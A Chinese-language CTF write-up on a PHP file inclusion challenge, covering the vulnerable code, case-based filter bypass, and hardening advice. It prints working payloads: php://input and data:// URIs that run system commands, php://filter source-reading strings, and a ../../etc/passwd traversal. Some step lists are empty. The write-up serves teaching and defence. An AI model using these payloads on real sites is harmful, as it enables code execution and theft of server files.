作为一名长期活跃在Web安全领域的研究者,我经常遇到各种有趣的CTF题目和真实漏洞案例。今天要分享的是一个经典的PHP文件包含漏洞实战——来自"攻防世界"平台的Web_php_include挑战。这个案例不仅考察基础的文件包含知识,更涉及多种伪协议的灵活运用和大小写绕过技巧,非常值得深入剖析。
文件包含漏洞在OWASP Top 10中长期占有一席之地,尤其在PHP环境中更为常见。当开发者不当地使用include、require等函数时,攻击者可能通过精心构造的输入读取敏感文件甚至执行任意代码。本次挑战就模拟了这样一个场景:我们需要绕过开发者设置的安全过滤,利用文件包含漏洞获取服务器上的flag。
题目提供了一个简单的PHP页面,核心功能是通过page参数动态包含其他PHP文件。典型的代码如下:
php复制<?php
$page = $_GET['page'] ?? 'index.php';
if (strstr($page, 'php://')) {
die('Hacker detected!');
}
$page = str_replace('php://', '', $page);
include($page);
?>
从代码中我们可以提取三个关键信息:
开发者虽然意识到了php://协议的危险性,但防护措施存在明显缺陷:
大小写敏感问题:strstr和str_replace都是大小写敏感函数,但PHP本身处理协议时是不区分大小写的。这意味着PHP://、PhP://等变体都能被正确识别为协议,却可以绕过检查。
过滤不彻底:仅检查php://协议,忽略了其他危险协议如data://、phar://等。
替换而非禁止:使用str_replace而非更安全的白名单机制,给绕过留下了空间。
提示:在实际开发中,处理用户输入时应始终遵循"默认拒绝"原则,使用白名单而非黑名单进行过滤。
php://input是一个只读流,允许我们访问HTTP请求的原始主体数据。这在文件包含漏洞中特别危险,因为攻击者可以直接在POST body中写入PHP代码并执行。
php复制// 攻击示例:通过curl发送POST请求
curl -X POST "http://target.com/vuln.php?page=php://input" -d "<?php system('ls'); ?>"
实际CTF解题中,我们常用这个技巧列出目录文件。但本题由于过滤了"php://",我们需要寻找替代方案。
php://filter是一种元数据过滤器,可以在读取文件时应用各种转换。最常用的技巧是base64编码读取源代码:
code复制php://filter/convert.base64-encode/resource=flag.php
这个payload会让服务器返回flag.php的base64编码内容,避免PHP代码被直接执行。解码后即可获取原始代码。
本题中,虽然直接使用会被拦截,但我们可以利用大小写绕过:
code复制PHP://filter/convert.base64-encode/resource=fl4gisisish3r3.php
php://filter还支持通过convert.iconv进行字符集转换,这在某些特殊过滤场景下非常有用:
code复制php://filter/convert.iconv.utf-8.utf-16/resource=flag.php
这种转换有时可以绕过简单的关键词检测,因为文件内容被重新编码后可能不再匹配过滤规则。
由于strstr和str_replace都是大小写敏感函数,我们可以简单地将协议名改为大写或混合大小写:
code复制http://target.com/?page=PHP://input
操作步骤:
注意:在实际渗透测试中,这种简单的大小写绕过已经很少见了,现代WAF通常都会做规范化处理。但在一些老旧系统或CTF题目中仍然有效。
当php://被过滤时,data协议是绝佳的替代方案。它允许我们直接在URL中嵌入要执行的内容:
code复制data://text/plain,<?php system('cat fl4gisisish3r3.php');?>
关键细节:
对于防御更严密的环境,我们可以组合使用filter协议的各种转换:
code复制php://filter/convert.base64-encode|convert.base64-encode/resource=fl4gisisish3r3.php
这种双重编码有时可以绕过某些内容检测机制。解码时需要反向操作:
bash复制cat encoded.txt | base64 -d | base64 -d
作为开发者,应该:
php复制$allowed = ['home.php', 'about.php'];
if (!in_array($page, $allowed)) {
die('Invalid page requested');
}
php复制ini_set('allow_url_include', '0');
ini_set('allow_url_fopen', '0');
php复制$baseDir = '/var/www/html/';
$realPath = realpath($baseDir . $page);
if (strpos($realPath, $baseDir) !== 0) {
die('Directory traversal attempt!');
}
作为安全测试人员:
code复制http://target.com/?page=php:%2F%2Finput
code复制http://target.com/?page=php://filter/convert.base64-encode/resource=fl"."ag.php
code复制http://target.com/?page=../../etc/passwd%00
这个CTF题目虽然简单,但涵盖了文件包含漏洞的核心知识点。从基础的大小写绕到多种伪协议的灵活运用,每一步都体现了攻防双方的思维博弈。我在实际渗透测试中发现,很多企业系统仍然存在类似的漏洞,只是过滤规则更加复杂。掌握这些基础技巧,是成为Web安全专家的必经之路。